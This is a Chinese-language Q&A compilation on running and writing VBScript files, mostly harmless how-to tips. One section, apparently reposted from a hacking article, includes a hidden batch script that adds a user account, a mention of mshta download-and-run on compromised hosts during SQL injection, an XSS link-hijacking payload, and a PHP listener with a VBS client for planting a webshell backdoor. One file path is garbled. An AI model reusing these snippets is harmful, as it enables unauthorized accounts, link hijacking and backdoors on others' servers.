❶ vbs 常用命令
1.点击WIN按钮,在运行对话框下面输入cmd,打开命令提示符窗口。
注意事项:
VBS, Microsoft Visual Basic Scripting Edition是Visual Basic编程语言家族的最新成员,它将灵活的脚本语言引入到更广泛的应用程序中,包括Microsoft Internet Explorer中的Web客户端脚本和Microsoft Internet Information Server中的Web服务器脚本。
❷ win10怎么运行VBS
打开win10系统的电脑,然后准备好vbs文件,这里说明一下,所有vbs都可以用记事本打开,不过看到的只是代码,而并不是运行代码的状态,我们要的是vbs真实运行的状态。
接着右击vbs文件,在弹出的右键菜单中选择打开方式,有的朋友没有打开方式这个选项,也可以选择属性选项。
一般win10系统会自动识别vbs文件,并且自动匹配打开的程序,默认是Microsoft ® Windows Based Script Host,如果自动识别的就可以双击直接运行vbs文件了,没有识别的需要手动来调节。
接着说下没有自动匹配程序的情况,同样是在打开方式选择程序的窗口界面,点击下方的更多应用选项,
在下方的列表中是没有可以打开的程序,这个时候点击最下面蓝色的文字,也就是在这台电脑上查找其他应用选项,点击打开。
接着进入到c盘,然后进入到windows\system32的文件夹,在里边选择wscript.exe,点击打开即可。
❸ vbs文件是用什么运行的
.VBS:VBScript文件
VB编的程序要编译成.EXE文件才能执行,而VBS是脚本语言,是不需要编译成二进制机器语言,直接按编写的文件来执行的。
直接双击文件就运行了。
编辑用记事本等文本编辑工具编辑。编写完保存后把后缀改为.VBS即可。
例:打开记事本,输入:
CreateObject("SAPI.SpVoice").Speak "天上有个太阳,水中有个月亮"
保存后把后缀改为.VBS
双击运行
就会朗读:天上一个太阳,水中一个月亮
❹ 怎么用VBS程序点击网页中按钮
先假设你有一个IE对象,
SET IE=Createobject("Internetexplorer.application")
然后你打开了这个网页,就可以这样了:
With IE.Document
for each i in .GetElementsByClassName("button")
i.click
next
end with
不过你要是给元素分配了唯一的ID就更容易了,这样略麻烦......
❺ .vbs文件怎么运行
有两种运行方法:
1在windows界面下运行,也就是双击
2在命令提示符下运行,方法为:
开始,输入cmd回车,然后会弹出一个黑框,输入cd “你的vbs所在的地方”回车,然后输入脚本的名字回车就运行了
❻ vbs怎么在网页运行
vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的,这个组件在 xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码:●CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU"●,保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题,不保存成vbs或vbe后缀如何运行vbs代码。
一、用mshta来运行vbs
hta这种类型的文件运行后也是系统权限,其调用宿主就是mshta.exe。我们在cmd下运行这样一行代码:●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●,也会听到同样的发音。这行代码的意思类似是临时生成一个hta文件,然后运行里边的vbs代码,再调用 window.close将运行窗口关掉。整个运行过程是看不到hta窗口的。这种运行方式你会想到什么?最少我是想到了两个。一个是批处理的隐藏运行,基本代码如下:
★
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
rem 下边开始写批处代码了
net user lcx 12345 /add
★
这个代码只能双击运行,运行过程中你看不到具体的批处理运行流程的。第二个我想的是注射过程中的用途。网上有篇流传很广的文章《mssql注射中多次调用参数导致多次echo的解决方法》,中心思想是将vbs语句用冒号连接起来然后用echo命令一次写入到被注入的肉鸡上,然后再调用这个vbs来下载文件。如果调用mshta执行的话,下载、执行一次就ok了。不过在命令行下用mshta后边直接跟vbs代码有个难处理的问题是空格,不过这个好解决用 execute将vbs代码放在括号里就ok了,这个读者可以亲自去试一下了,相信我不难的。
二、用ie地址栏运行vbs
很多人会用ie地址栏运行js,其实vbs一样是可以的,我们随便打开一个网站,在地址栏上输入:vbscript:msgbox (Document.links.length)后回车,就会看到当前页面有多少个连接了。用document.links(i).href这句的话,将 i换成不同的自然数好比0、1、2、3等就会分别显示出不同的链接地址。这部份内容其实是涉及到dhtml的内容了。我们来看一个最简单的示例代码:
★
<a href=http://www.sohu.com>www.sohu.com</a>
<a href=http://www..com>www..com</a>
★
这是两个链接,保存成网页后点击就会跳转到不同的页面。如果这个页面有跨站,我想搞下破坏,让用户点击www.sohu.com却跑到我指定的页面上能做到吗?其实可以的,只要加一行语句就可以了,代码是:●<body onload=vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"> ●。这样的话用户再点击sohu其实会跑到google上去了,原来页面的版式却丝毫没有破坏。同样的dhtml元素还有document.links (i).href、document.images(i).src、document.forms(i).action等等,跨站改变其动态元素是很好玩的。
三、调用外部组件来运行vbs
vbs本身功能毕竟有限,但是却可以很好的与外部交互。要是用vbs来模拟nc发包的话,就要调用vb组件了。关于VBS如何成功调用 MSWinsock.Winsock,zzzevazzz说的很清楚了。就是下载Winsock.ocs注册,和VB6控件的授权密钥的.reg导入注册表。两个文件可以在http://zzzevazzz.bokee.com/inc/vb6controls.rar这里下载。前不久学了一段时间php,网上看到一个php的监听程序,可以用它来做一个后门,s端s.php代码如下:
★
<?
// 设置一些基本的变量
$host = "192.168.8.100";
$port = 12345;
// 设置超时时间
set_time_limit(0);
// 创建一个Socket
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
socket ");
//绑定Socket到端口
$result = socket_bind($socket, $host, $port) or die("Could not bind to
socket ");
// 开始监听链接
$result = socket_listen($socket, 3) or die("Could not set up socket
listener ");
// accept incoming connections
// 另一个Socket来处理通信
$spawn = socket_accept($socket) or die("Could not accept incoming
connection ");
// 获得客户端的输入
$input = socket_read($spawn, 1024) or die("Could not read input ");
// 清空输入字符串
$input = trim($input);//将输入结果写入ok.php,这句是我加的
fputs(fopen(ok.php,a+),"$input");
//处理客户端输入并返回结果
$output = strrev($input) . " ";
socket_write($spawn, $output, strlen ($output)) or die("Could not write
output ");
// 关闭sockets
socket_close($spawn);
socket_close($socket);
?>
★
在ie打开这个php,运行它的服务器会监听12345端口。如果我们再用vbs向12345端口发包的话,在同文件的php目录下会生成ok.php。发包的内容就是我们要写入ok.php的代码。该vbs文件c.vbs代码如下:
★
Set ie=WScript.CreateObject("InternetExplorer.Application")
ie.visible=false
ie.Navigate "http://192.168.8.100/s.php" s.php是服务端
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
Set socket=WScript.CreateObject("MSWinsock.Winsock")
socket.Protocol=0
socket.RemotePort="12345" 端口
socket.RemoteHost="192.168.8.100" 主机
socket.connect socket.RemoteHost, socket.RemotePort 连接
WScript.sleep 10
ddd="<?phpinfo();>"&Chr(13)这里你可以改成一句话的php木马
socket.SendData ddd
WScript.sleep 100
wscript.echo "ok"
socket.senddata Chr(13)
socket.close
Set ie=nothing
★
一个vbs和一个php珠联璧合,打造了一个非常规后门。当然这个后门的价值不大,但重要的是思路
❼ vbs脚本如何启动程序
Setshell=Wscript.createobject("wscript.shell")
a=shell.run("这里写你文件所在的路径,例如C:windows otepad.exe",0)
❽ vbs 文件运行
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,57,00,53,00,\
63,00,72,00,69,00,70,00,74,00,2e,00,65,00,78,00,65,00,20,00,22,00,25,00,31,\
00,22,00,20,00,25,00,2a,00,00,00
把上面的内容复制到记事本,然后保存为注册表文件(扩展名为.reg)
然后把它导入注册表,再看看...
❾ .vbs文件用什么打开方式打开,我是要运行它
1、右击任意vbs格式文件,在展开的菜单中点击“属性”按钮打开文件的属性界面:
❿ VBS用途是什么
VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition。
要点:
1、注释(以REM或'开头)行在程序中不起作用, 但能让别人更容易读懂你的程序.
2、变量好像一个盒子, 或一个代号, 可以代表想代表的东西. 变量赋值使用"="
3、以""包裹起来的字符称之为"字符串"
4、函数像一个"黑箱", 有参数和返回值, 用"="左边的变量可以接住返回值
5、 Inputbox函数弹出一个输入对话框,Msgbox则用于输出
(10)vbs程序怎么用扩展阅读:
算法的特点:
1、有穷性:算法必须保证在执行有限步骤后结束。
2、可行性:算法是确切可行的,即使在数学中,该算法可行,但若在实际应用中,程序不可以被执行,那么 ,该算法也是不具有可行性的。
3、确切性:算法的每一个步骤必须具有明确的意义。
4、输入:一个算法必须要有0个或多个输入。
5、输出:一个算法必须要有1个或多个输出。